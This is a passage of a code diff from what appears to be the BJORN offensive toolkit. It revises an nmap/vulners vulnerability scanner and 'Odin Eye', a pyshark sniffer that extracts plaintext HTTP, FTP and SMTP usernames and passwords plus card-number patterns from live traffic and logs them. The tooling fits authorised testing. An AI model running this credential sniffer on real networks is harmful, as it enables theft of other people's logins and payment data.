logger.debug(f"Batch [{port_str}] scanned in {elapsed:.1f}s – {len(batch_findings)} finding(s)")
|
||||
|
||||
all_findings.extend(batch_findings)
|
||||
processed_count += len(batch)
|
||||
|
||||
# Mise à jour post-lot
|
||||
pct = int((processed_count / total) * 100)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
# Pause CPU entre batches (vital sur Pi Zero)
|
||||
if batch_pause > 0 and processed_count < total:
|
||||
time.sleep(batch_pause)
|
||||
|
||||
return all_findings
|
||||
|
||||
def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]:
|
||||
"""Scan rapide pour récupérer CPE et (option) CVE via vulners."""
|
||||
vulns: List[Dict] = []
|
||||
nm = nmap.PortScanner() # Instance locale – pas de partage d'état
|
||||
|
||||
args = "-sV --version-light -T4 --max-retries 1 --host-timeout 30s --script-timeout 10s"
|
||||
# --version-light au lieu de --version-all : bien plus rapide sur Pi Zero
|
||||
# --min-rate/--max-rate : évite de saturer CPU et réseau
|
||||
args = (
|
||||
"-sV --version-light -T4 "
|
||||
"--max-retries 1 --host-timeout 60s --script-timeout 20s "
|
||||
"--min-rate 50 --max-rate 100"
|
||||
)
|
||||
if use_vulners:
|
||||
args += " --script vulners --script-args mincvss=0.0"
|
||||
|
||||
logger.info(f"[FAST] nmap {ip} -p {port_list} ({args})")
|
||||
logger.debug(f"[FAST] nmap {ip} -p {port_list}")
|
||||
try:
|
||||
self.nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
except Exception as e:
|
||||
logger.error(f"Fast scan failed to start: {e}")
|
||||
logger.error(f"Fast batch scan failed for {ip} [{port_list}]: {e}")
|
||||
return vulns
|
||||
|
||||
if ip not in self.nm.all_hosts():
|
||||
if ip not in nm.all_hosts():
|
||||
return vulns
|
||||
|
||||
host = self.nm[ip]
|
||||
|
||||
host = nm[ip]
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
port_info = host[proto][port]
|
||||
service = port_info.get('name', '') or ''
|
||||
|
||||
# 1) CPE depuis -sV
|
||||
cpe_values = self._extract_cpe_values(port_info)
|
||||
for cpe in cpe_values:
|
||||
# CPE
|
||||
for cpe in self._extract_cpe_values(port_info):
|
||||
vulns.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': f"CPE:{cpe}",
|
||||
'script': 'service-detect',
|
||||
'details': f"CPE detected: {cpe}"[:500]
|
||||
'details': f"CPE: {cpe}"
|
||||
})
|
||||
|
||||
# 2) CVE via script 'vulners' (si actif)
|
||||
try:
|
||||
# CVE via vulners
|
||||
if use_vulners:
|
||||
script_out = (port_info.get('script') or {}).get('vulners')
|
||||
if script_out:
|
||||
for cve in self.extract_cves(script_out):
|
||||
@@ -218,97 +323,73 @@ class NmapVulnScanner:
|
||||
'service': service,
|
||||
'vuln_id': cve,
|
||||
'script': 'vulners',
|
||||
'details': str(script_out)[:500]
|
||||
'details': str(script_out)[:200]
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return vulns
|
||||
|
||||
def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]:
|
||||
"""Ancienne stratégie (plus lente) avec catégorie vuln, etc."""
|
||||
vulnerabilities: List[Dict] = []
|
||||
nm = nmap.PortScanner() # Instance locale
|
||||
|
||||
vuln_scripts = [
|
||||
'vuln','exploit','http-vuln-*','smb-vuln-*',
|
||||
'ssl-*','ssh-*','ftp-vuln-*','mysql-vuln-*',
|
||||
'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*',
|
||||
'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*',
|
||||
]
|
||||
script_arg = ','.join(vuln_scripts)
|
||||
# --min-rate/--max-rate pour ne pas saturer le Pi
|
||||
args = (
|
||||
f"-sV --script={script_arg} -T3 "
|
||||
"--script-timeout 30s --min-rate 50 --max-rate 100"
|
||||
)
|
||||
|
||||
args = f"-sV --script={script_arg} -T3 --script-timeout 20s"
|
||||
logger.info(f"[HEAVY] nmap {ip} -p {port_list} ({args})")
|
||||
logger.debug(f"[HEAVY] nmap {ip} -p {port_list}")
|
||||
try:
|
||||
self.nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
except Exception as e:
|
||||
logger.error(f"Heavy scan failed to start: {e}")
|
||||
logger.error(f"Heavy batch scan failed for {ip} [{port_list}]: {e}")
|
||||
return vulnerabilities
|
||||
|
||||
if ip in self.nm.all_hosts():
|
||||
host = self.nm[ip]
|
||||
discovered_ports: Set[str] = set()
|
||||
if ip not in nm.all_hosts():
|
||||
return vulnerabilities
|
||||
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
discovered_ports.add(str(port))
|
||||
port_info = host[proto][port]
|
||||
service = port_info.get('name', '') or ''
|
||||
host = nm[ip]
|
||||
discovered_ports_in_batch: set = set()
|
||||
|
||||
if 'script' in port_info:
|
||||
for script_name, output in (port_info.get('script') or {}).items():
|
||||
for cve in self.extract_cves(str(output)):
|
||||
vulnerabilities.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': cve,
|
||||
'script': script_name,
|
||||
'details': str(output)[:500]
|
||||
})
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
discovered_ports_in_batch.add(str(port))
|
||||
port_info = host[proto][port]
|
||||
service = port_info.get('name', '') or ''
|
||||
|
||||
if bool(self.shared_data.config.get('scan_cpe', False)):
|
||||
ports_for_cpe = list(discovered_ports) if discovered_ports else port_list.split(',')
|
||||
cpes = self.scan_cpe(ip, ports_for_cpe[:10])
|
||||
vulnerabilities.extend(cpes)
|
||||
for script_name, output in (port_info.get('script') or {}).items():
|
||||
for cve in self.extract_cves(str(output)):
|
||||
vulnerabilities.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': cve,
|
||||
'script': script_name,
|
||||
'details': str(output)[:200]
|
||||
})
|
||||
|
||||
# CPE Scan optionnel (sur ce batch)
|
||||
if bool(self.shared_data.config.get('scan_cpe', False)):
|
||||
ports_for_cpe = list(discovered_ports_in_batch)
|
||||
if ports_for_cpe:
|
||||
vulnerabilities.extend(self.scan_cpe(ip, ports_for_cpe))
|
||||
|
||||
return vulnerabilities
|
||||
|
||||
# ---------------------------- Helpers -------------------------------- #
|
||||
|
||||
def _extract_cpe_values(self, port_info: Dict[str, Any]) -> List[str]:
|
||||
"""Normalise tous les formats possibles de CPE renvoyés par python-nmap."""
|
||||
cpe = port_info.get('cpe')
|
||||
if not cpe:
|
||||
return []
|
||||
if isinstance(cpe, str):
|
||||
parts = [x.strip() for x in cpe.splitlines() if x.strip()]
|
||||
return parts or [cpe]
|
||||
if isinstance(cpe, (list, tuple, set)):
|
||||
return [str(x).strip() for x in cpe if str(x).strip()]
|
||||
try:
|
||||
return [str(cpe).strip()] if str(cpe).strip() else []
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def extract_cves(self, text: str) -> List[str]:
|
||||
"""Extrait les identifiants CVE d'un texte."""
|
||||
import re
|
||||
if not text:
|
||||
return []
|
||||
cve_pattern = r'CVE-\d{4}-\d{4,7}'
|
||||
return re.findall(cve_pattern, str(text), re.IGNORECASE)
|
||||
|
||||
def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]:
|
||||
"""(Fallback lourd) Scan CPE détaillé si demandé."""
|
||||
cpe_vulns: List[Dict] = []
|
||||
cpe_vulns = []
|
||||
nm = nmap.PortScanner() # Instance locale
|
||||
try:
|
||||
port_list = ','.join([str(p) for p in ports if str(p).strip()])
|
||||
if not port_list:
|
||||
return cpe_vulns
|
||||
port_list = ','.join([str(p) for p in ports])
|
||||
# --version-light à la place de --version-all (bien plus rapide)
|
||||
args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s"
|
||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
|
||||
args = "-sV --version-all -T3 --max-retries 2 --host-timeout 45s"
|
||||
logger.info(f"[CPE] nmap {ip} -p {port_list} ({args})")
|
||||
self.nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
|
||||
if ip in self.nm.all_hosts():
|
||||
host = self.nm[ip]
|
||||
if ip in nm.all_hosts():
|
||||
host = nm[ip]
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
port_info = host[proto][port]
|
||||
@@ -319,90 +400,61 @@ class NmapVulnScanner:
|
||||
'service': service,
|
||||
'vuln_id': f"CPE:{cpe}",
|
||||
'script': 'version-scan',
|
||||
'details': f"CPE detected: {cpe}"[:500]
|
||||
'details': f"CPE: {cpe}"
|
||||
})
|
||||
except Exception as e:
|
||||
logger.error(f"CPE scan error: {e}")
|
||||
logger.error(f"scan_cpe failed for {ip}: {e}")
|
||||
return cpe_vulns
|
||||
|
||||
|
||||
# ---------------------------- Persistence ---------------------------- #
|
||||
|
||||
def save_vulnerabilities(self, mac: str, ip: str, findings: List[Dict]):
|
||||
"""Sépare CPE et CVE, met à jour les statuts + enregistre les nouveautés."""
|
||||
|
||||
# Récupérer le hostname depuis la DB
|
||||
hostname = None
|
||||
try:
|
||||
host_row = self.shared_data.db.query_one(
|
||||
"SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1",
|
||||
(mac,)
|
||||
"SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if host_row and host_row.get('hostnames'):
|
||||
hostname = host_row['hostnames'].split(';')[0]
|
||||
except Exception as e:
|
||||
logger.debug(f"Could not fetch hostname: {e}")
|
||||
|
||||
# Grouper par port avec les infos complètes
|
||||
findings_by_port = {}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
findings_by_port: Dict[int, Dict] = {}
|
||||
for f in findings:
|
||||
port = int(f.get('port', 0) or 0)
|
||||
|
||||
if port not in findings_by_port:
|
||||
findings_by_port[port] = {
|
||||
'cves': set(),
|
||||
'cpes': set(),
|
||||
'findings': []
|
||||
}
|
||||
|
||||
findings_by_port[port]['findings'].append(f)
|
||||
|
||||
findings_by_port[port] = {'cves': set(), 'cpes': set()}
|
||||
|
||||
vid = str(f.get('vuln_id', ''))
|
||||
if vid.upper().startswith('CVE-'):
|
||||
vid_upper = vid.upper()
|
||||
if vid_upper.startswith('CVE-'):
|
||||
findings_by_port[port]['cves'].add(vid)
|
||||
elif vid.upper().startswith('CPE:'):
|
||||
findings_by_port[port]['cpes'].add(vid.split(':', 1)[1])
|
||||
elif vid.lower().startswith('cpe:'):
|
||||
findings_by_port[port]['cpes'].add(vid)
|
||||
elif vid_upper.startswith('CPE:'):
|
||||
# On stocke sans le préfixe "CPE:"
|
||||
findings_by_port[port]['cpes'].add(vid[4:])
|
||||
|
||||
# 1) Traiter les CVE par port
|
||||
# 1) CVEs
|
||||
for port, data in findings_by_port.items():
|
||||
if data['cves']:
|
||||
for cve in data['cves']:
|
||||
try:
|
||||
existing = self.shared_data.db.query_one(
|
||||
"SELECT id FROM vulnerabilities WHERE mac_address=? AND vuln_id=? AND port=? LIMIT 1",
|
||||
(mac, cve, port)
|
||||
)
|
||||
|
||||
if existing:
|
||||
self.shared_data.db.execute("""
|
||||
UPDATE vulnerabilities
|
||||
SET ip=?, hostname=?, last_seen=CURRENT_TIMESTAMP, is_active=1
|
||||
WHERE mac_address=? AND vuln_id=? AND port=?
|
||||
""", (ip, hostname, mac, cve, port))
|
||||
else:
|
||||
self.shared_data.db.execute("""
|
||||
INSERT INTO vulnerabilities(mac_address, ip, hostname, port, vuln_id, is_active)
|
||||
VALUES(?,?,?,?,?,1)
|
||||
""", (mac, ip, hostname, port, cve))
|
||||
|
||||
logger.debug(f"Saved CVE {cve} for {ip}:{port}")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save CVE {cve}: {e}")
|
||||
for cve in data['cves']:
|
||||
try:
|
||||
self.shared_data.db.execute("""
|
||||
INSERT INTO vulnerabilities(mac_address, ip, hostname, port, vuln_id, is_active, last_seen)
|
||||
VALUES(?,?,?,?,?,1,CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(mac_address, vuln_id, port) DO UPDATE SET
|
||||
is_active=1, last_seen=CURRENT_TIMESTAMP, ip=excluded.ip
|
||||
""", (mac, ip, hostname, port, cve))
|
||||
except Exception as e:
|
||||
logger.error(f"Save CVE err: {e}")
|
||||
|
||||
# 2) Traiter les CPE
|
||||
# 2) CPEs
|
||||
for port, data in findings_by_port.items():
|
||||
for cpe in data['cpes']:
|
||||
try:
|
||||
self.shared_data.db.add_detected_software(
|
||||
mac_address=mac,
|
||||
cpe=cpe,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port
|
||||
mac_address=mac, cpe=cpe, ip=ip,
|
||||
hostname=hostname, port=port
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save CPE {cpe}: {e}")
|
||||
logger.error(f"Save CPE err: {e}")
|
||||
|
||||
logger.info(f"Saved vulnerabilities for {ip} ({mac}): {len(findings_by_port)} ports processed")
|
||||
logger.info(f"Saved vulnerabilities for {ip}: {len(findings)} findings")
|
||||
@@ -1,110 +1,85 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
odin_eye.py -- Network traffic analyzer and credential hunter for BJORN.
|
||||
Uses pyshark to capture and analyze packets in real-time.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
try:
|
||||
import psutil
|
||||
except Exception:
|
||||
psutil = None
|
||||
import pyshark
|
||||
HAS_PYSHARK = True
|
||||
except ImportError:
|
||||
pyshark = None
|
||||
HAS_PYSHARK = False
|
||||
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
|
||||
def _list_net_ifaces() -> list[str]:
|
||||
names = set()
|
||||
# 1) psutil si dispo
|
||||
if psutil:
|
||||
try:
|
||||
names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo")
|
||||
except Exception:
|
||||
pass
|
||||
# 2) fallback kernel
|
||||
try:
|
||||
for n in os.listdir("/sys/class/net"):
|
||||
if n and n != "lo":
|
||||
names.add(n)
|
||||
except Exception:
|
||||
pass
|
||||
out = ["auto"] + sorted(names)
|
||||
# sécurité: pas de doublons
|
||||
seen, unique = set(), []
|
||||
for x in out:
|
||||
if x not in seen:
|
||||
unique.append(x); seen.add(x)
|
||||
return unique
|
||||
from collections import defaultdict
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
|
||||
# Hook appelée par le backend avant affichage UI / sync DB
|
||||
def compute_dynamic_b_args(base: dict) -> dict:
|
||||
"""
|
||||
Compute dynamic arguments at runtime.
|
||||
Called by the web interface to populate dropdowns, etc.
|
||||
"""
|
||||
d = dict(base or {})
|
||||
|
||||
# Example: Dynamic interface list
|
||||
if "interface" in d:
|
||||
import psutil
|
||||
interfaces = ["auto"]
|
||||
try:
|
||||
for ifname in psutil.net_if_addrs().keys():
|
||||
if ifname != "lo":
|
||||
interfaces.append(ifname)
|
||||
except:
|
||||
interfaces.extend(["wlan0", "eth0"])
|
||||
|
||||
d["interface"]["choices"] = interfaces
|
||||
|
||||
return d
|
||||
logger = Logger(name="odin_eye.py")
|
||||
|
||||
# --- MÉTADONNÉES UI SUPPLÉMENTAIRES -----------------------------------------
|
||||
# Exemples d’arguments (affichage frontend; aussi persisté en DB via sync_actions)
|
||||
b_examples = [
|
||||
{"interface": "auto", "filter": "http or ftp", "timeout": 120, "max_packets": 5000, "save_credentials": True},
|
||||
{"interface": "wlan0", "filter": "(http or smtp) and not broadcast", "timeout": 300, "max_packets": 10000},
|
||||
]
|
||||
|
||||
# Lien MD (peut être un chemin local servi par votre frontend, ou un http(s))
|
||||
# Exemple: un README markdown stocké dans votre repo
|
||||
b_docs_url = "docs/actions/OdinEye.md"
|
||||
|
||||
|
||||
# --- Métadonnées d'action (consommées par shared.generate_actions_json) -----
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "OdinEye"
|
||||
b_module = "odin_eye" # nom du fichier sans .py
|
||||
b_enabled = 0
|
||||
b_module = "odin_eye"
|
||||
b_status = "odin_eye"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_priority = 30
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 600
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 4 # Capturing is passive, but pyshark can be resource intensive
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["sniff", "pcap", "creds", "network"]
|
||||
b_category = "recon"
|
||||
b_name = "Odin Eye"
|
||||
b_description = (
|
||||
"Network traffic analyzer for capturing and analyzing data patterns and credentials.\n"
|
||||
"Requires: tshark (sudo apt install tshark) + pyshark (pip install pyshark)."
|
||||
)
|
||||
b_author = "Fabien / Cyberviking"
|
||||
b_version = "1.0.0"
|
||||
b_description = "Passive network analyzer that hunts for credentials and data patterns."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.1"
|
||||
b_icon = "OdinEye.png"
|
||||
|
||||
# Schéma d'arguments pour UI dynamique (clé == nom du flag sans '--')
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "select", "label": "Network Interface",
|
||||
"choices": [], # <- Laisser vide: rempli dynamiquement par compute_dynamic_b_args(...)
|
||||
"type": "select",
|
||||
"label": "Network Interface",
|
||||
"choices": ["auto", "wlan0", "eth0"],
|
||||
"default": "auto",
|
||||
"help": "Interface à écouter. 'auto' tente de détecter l'interface par défaut." },
|
||||
"filter": {"type": "text", "label": "BPF Filter", "default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"},
|
||||
"output": {"type": "text", "label": "Output dir", "default": "/home/bjorn/Bjorn/data/output/packets"},
|
||||
"timeout": {"type": "number", "label": "Timeout (s)", "min": 10, "max": 36000, "step": 1, "default": 300},
|
||||
"max_packets": {"type": "number", "label": "Max packets", "min": 100, "max": 2000000, "step": 100, "default": 10000},
|
||||
"help": "Interface to listen on."
|
||||
},
|
||||
"filter": {
|
||||
"type": "text",
|
||||
"label": "BPF Filter",
|
||||
"default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"
|
||||
},
|
||||
"max_packets": {
|
||||
"type": "number",
|
||||
"label": "Max packets",
|
||||
"min": 100,
|
||||
"max": 100000,
|
||||
"step": 100,
|
||||
"default": 1000
|
||||
},
|
||||
"save_creds": {
|
||||
"type": "checkbox",
|
||||
"label": "Save Credentials",
|
||||
"default": True
|
||||
}
|
||||
}
|
||||
|
||||
# ----------------- Code d'analyse (ton code existant) -----------------------
|
||||
import os, json, pyshark, argparse, logging, re, threading, signal
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/packets"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "odin_eye_settings.json")
|
||||
DEFAULT_FILTER = "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"
|
||||
|
||||
CREDENTIAL_PATTERNS = {
|
||||
'http': {
|
||||
'username': [r'username=([^&]+)', r'user=([^&]+)', r'login=([^&]+)'],
|
||||
@@ -120,297 +95,153 @@ CREDENTIAL_PATTERNS = {
|
||||
}
|
||||
|
||||
class OdinEye:
|
||||
def __init__(self, interface, capture_filter=DEFAULT_FILTER, output_dir=DEFAULT_OUTPUT_DIR,
|
||||
timeout=300, max_packets=10000):
|
||||
self.interface = interface
|
||||
self.capture_filter = capture_filter
|
||||
self.output_dir = output_dir
|
||||
self.timeout = timeout
|
||||
self.max_packets = max_packets
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.capture = None
|
||||
self.stop_capture = threading.Event()
|
||||
|
||||
self.stop_event = threading.Event()
|
||||
self.statistics = defaultdict(int)
|
||||
self.credentials = []
|
||||
self.interesting_patterns = []
|
||||
|
||||
self.credentials: List[Dict[str, Any]] = []
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def process_packet(self, packet):
|
||||
"""Analyze a single packet for patterns and credentials."""
|
||||
try:
|
||||
with self.lock:
|
||||
self.statistics['total_packets'] += 1
|
||||
if hasattr(packet, 'highest_layer'):
|
||||
self.statistics[packet.highest_layer] += 1
|
||||
|
||||
if hasattr(packet, 'tcp'):
|
||||
self.analyze_tcp_packet(packet)
|
||||
except Exception as e:
|
||||
logging.error(f"Error processing packet: {e}")
|
||||
# HTTP
|
||||
if hasattr(packet, 'http'):
|
||||
self._analyze_http(packet)
|
||||
# FTP
|
||||
elif hasattr(packet, 'ftp'):
|
||||
self._analyze_ftp(packet)
|
||||
# SMTP
|
||||
elif hasattr(packet, 'smtp'):
|
||||
self._analyze_smtp(packet)
|
||||
|
||||
# Payload generic check
|
||||
if hasattr(packet.tcp, 'payload'):
|
||||
self._analyze_payload(packet.tcp.payload)
|
||||
|
||||
def analyze_tcp_packet(self, packet):
|
||||
try:
|
||||
if hasattr(packet, 'http'):
|
||||
self.analyze_http_packet(packet)
|
||||
elif hasattr(packet, 'ftp'):
|
||||
self.analyze_ftp_packet(packet)
|
||||
elif hasattr(packet, 'smtp'):
|
||||
self.analyze_smtp_packet(packet)
|
||||
if hasattr(packet.tcp, 'payload'):
|
||||
self.analyze_payload(packet.tcp.payload)
|
||||
except Exception as e:
|
||||
logging.error(f"Error analyzing TCP packet: {e}")
|
||||
logger.debug(f"Packet processing error: {e}")
|
||||
|
||||
def analyze_http_packet(self, packet):
|
||||
try:
|
||||
if hasattr(packet.http, 'request_uri'):
|
||||
for field in ['username', 'password']:
|
||||
for pattern in CREDENTIAL_PATTERNS['http'][field]:
|
||||
matches = re.findall(pattern, packet.http.request_uri)
|
||||
if matches:
|
||||
with self.lock:
|
||||
self.credentials.append({
|
||||
'protocol': 'HTTP',
|
||||
'type': field,
|
||||
'value': matches[0],
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'source': packet.ip.src if hasattr(packet, 'ip') else None
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error analyzing HTTP packet: {e}")
|
||||
def _analyze_http(self, packet):
|
||||
if hasattr(packet.http, 'request_uri'):
|
||||
uri = packet.http.request_uri
|
||||
for field in ['username', 'password']:
|
||||
for pattern in CREDENTIAL_PATTERNS['http'][field]:
|
||||
m = re.findall(pattern, uri, re.I)
|
||||
if m:
|
||||
self._add_cred('HTTP', field, m[0], getattr(packet.ip, 'src', 'unknown'))
|
||||
|
||||
def analyze_ftp_packet(self, packet):
|
||||
try:
|
||||
if hasattr(packet.ftp, 'request_command'):
|
||||
cmd = packet.ftp.request_command.upper()
|
||||
if cmd in ['USER', 'PASS']:
|
||||
with self.lock:
|
||||
self.credentials.append({
|
||||
'protocol': 'FTP',
|
||||
'type': 'username' if cmd == 'USER' else 'password',
|
||||
'value': packet.ftp.request_arg,
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'source': packet.ip.src if hasattr(packet, 'ip') else None
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error analyzing FTP packet: {e}")
|
||||
def _analyze_ftp(self, packet):
|
||||
if hasattr(packet.ftp, 'request_command'):
|
||||
cmd = packet.ftp.request_command.upper()
|
||||
if cmd in ['USER', 'PASS']:
|
||||
field = 'username' if cmd == 'USER' else 'password'
|
||||
self._add_cred('FTP', field, packet.ftp.request_arg, getattr(packet.ip, 'src', 'unknown'))
|
||||
|
||||
def analyze_smtp_packet(self, packet):
|
||||
try:
|
||||
if hasattr(packet.smtp, 'command_line'):
|
||||
for pattern in CREDENTIAL_PATTERNS['smtp']['auth']:
|
||||
matches = re.findall(pattern, packet.smtp.command_line)
|
||||
if matches:
|
||||
with self.lock:
|
||||
self.credentials.append({
|
||||
'protocol': 'SMTP',
|
||||
'type': 'auth',
|
||||
'value': matches[0],
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'source': packet.ip.src if hasattr(packet, 'ip') else None
|
||||
})
|
||||
except Exception as e:
|
||||
logging.error(f"Error analyzing SMTP packet: {e}")
|
||||
def _analyze_smtp(self, packet):
|
||||
if hasattr(packet.smtp, 'command_line'):
|
||||
line = packet.smtp.command_line
|
||||
for pattern in CREDENTIAL_PATTERNS['smtp']['auth']:
|
||||
m = re.findall(pattern, line, re.I)
|
||||
if m:
|
||||
self._add_cred('SMTP', 'auth', m[0], getattr(packet.ip, 'src', 'unknown'))
|
||||
|
||||
def analyze_payload(self, payload):
|
||||
def _analyze_payload(self, payload):
|
||||
patterns = {
|
||||
'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}',
|
||||
'credit_card': r'\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b',
|
||||
'ip_address': r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
|
||||
'credit_card': r'\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b'
|
||||
}
|
||||
for name, pattern in patterns.items():
|
||||
matches = re.findall(pattern, payload)
|
||||
if matches:
|
||||
with self.lock:
|
||||
self.interesting_patterns.append({
|
||||
'type': name,
|
||||
'value': matches[0],
|
||||
'timestamp': datetime.now().isoformat()
|
||||
})
|
||||
m = re.findall(pattern, payload)
|
||||
if m:
|
||||
self.shared_data.log_milestone(b_class, "PatternFound", f"{name} detected in traffic")
|
||||
|
||||
def _add_cred(self, proto, field, value, source):
|
||||
with self.lock:
|
||||
cred = {
|
||||
'protocol': proto,
|
||||
'type': field,
|
||||
'value': value,
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'source': source
|
||||
}
|
||||
if cred not in self.credentials:
|
||||
self.credentials.append(cred)
|
||||
logger.success(f"OdinEye: Credential found! [{proto}] {field}={value}")
|
||||
self.shared_data.log_milestone(b_class, "Credential", f"{proto} {field} captured")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
"""Standard entry point."""
|
||||
iface = getattr(self.shared_data, "odin_eye_interface", "auto")
|
||||
if iface == "auto":
|
||||
iface = None # pyshark handles None as default
|
||||
|
||||
bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"])
|
||||
max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000))
|
||||
timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300))
|
||||
output_dir = getattr(self.shared_data, "odin_eye_output", "/home/bjorn/Bjorn/data/output/packets")
|
||||
|
||||
logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})")
|
||||
self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}")
|
||||
|
||||
def save_results(self):
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
stats_file = os.path.join(self.output_dir, f"capture_stats_{timestamp}.json")
|
||||
with open(stats_file, 'w') as f:
|
||||
json.dump(dict(self.statistics), f, indent=4)
|
||||
if self.credentials:
|
||||
creds_file = os.path.join(self.output_dir, f"credentials_{timestamp}.json")
|
||||
with open(creds_file, 'w') as f:
|
||||
json.dump(self.credentials, f, indent=4)
|
||||
if self.interesting_patterns:
|
||||
patterns_file = os.path.join(self.output_dir, f"patterns_{timestamp}.json")
|
||||
with open(patterns_file, 'w') as f:
|
||||
json.dump(self.interesting_patterns, f, indent=4)
|
||||
logging.info(f"Results saved to {self.output_dir}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
|
||||
def execute(self):
|
||||
try:
|
||||
# Timeout thread (inchangé) ...
|
||||
if self.timeout and self.timeout > 0:
|
||||
def _stop_after():
|
||||
self.stop_capture.wait(self.timeout)
|
||||
self.stop_capture.set()
|
||||
threading.Thread(target=_stop_after, daemon=True).start()
|
||||
|
||||
logging.info(...)
|
||||
|
||||
self.capture = pyshark.LiveCapture(interface=self.interface, bpf_filter=self.capture_filter)
|
||||
|
||||
# Interruption douce — SKIP si on tourne en mode importlib (thread)
|
||||
if os.environ.get("BJORN_EMBEDDED") != "1":
|
||||
try:
|
||||
signal.signal(signal.SIGINT, self.handle_interrupt)
|
||||
signal.signal(signal.SIGTERM, self.handle_interrupt)
|
||||
except Exception:
|
||||
# Ex: ValueError si pas dans le main thread
|
||||
pass
|
||||
|
||||
self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter)
|
||||
|
||||
start_time = time.time()
|
||||
packet_count = 0
|
||||
|
||||
# Use sniff_continuously for real-time processing
|
||||
for packet in self.capture.sniff_continuously():
|
||||
if self.stop_capture.is_set() or self.statistics['total_packets'] >= self.max_packets:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
if time.time() - start_time > timeout:
|
||||
logger.info("OdinEye: Timeout reached.")
|
||||
break
|
||||
|
||||
packet_count += 1
|
||||
if packet_count >= max_pkts:
|
||||
logger.info("OdinEye: Max packets reached.")
|
||||
break
|
||||
|
||||
self.process_packet(packet)
|
||||
|
||||
# Periodic progress update (every 50 packets)
|
||||
if packet_count % 50 == 0:
|
||||
prog = int((packet_count / max_pkts) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets")
|
||||
|
||||
except Exception as e:
|
||||
